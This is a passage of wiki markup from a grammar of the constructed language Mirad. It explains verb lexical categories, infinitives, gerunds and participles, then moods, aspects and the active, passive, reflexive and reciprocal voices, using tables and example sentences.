| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

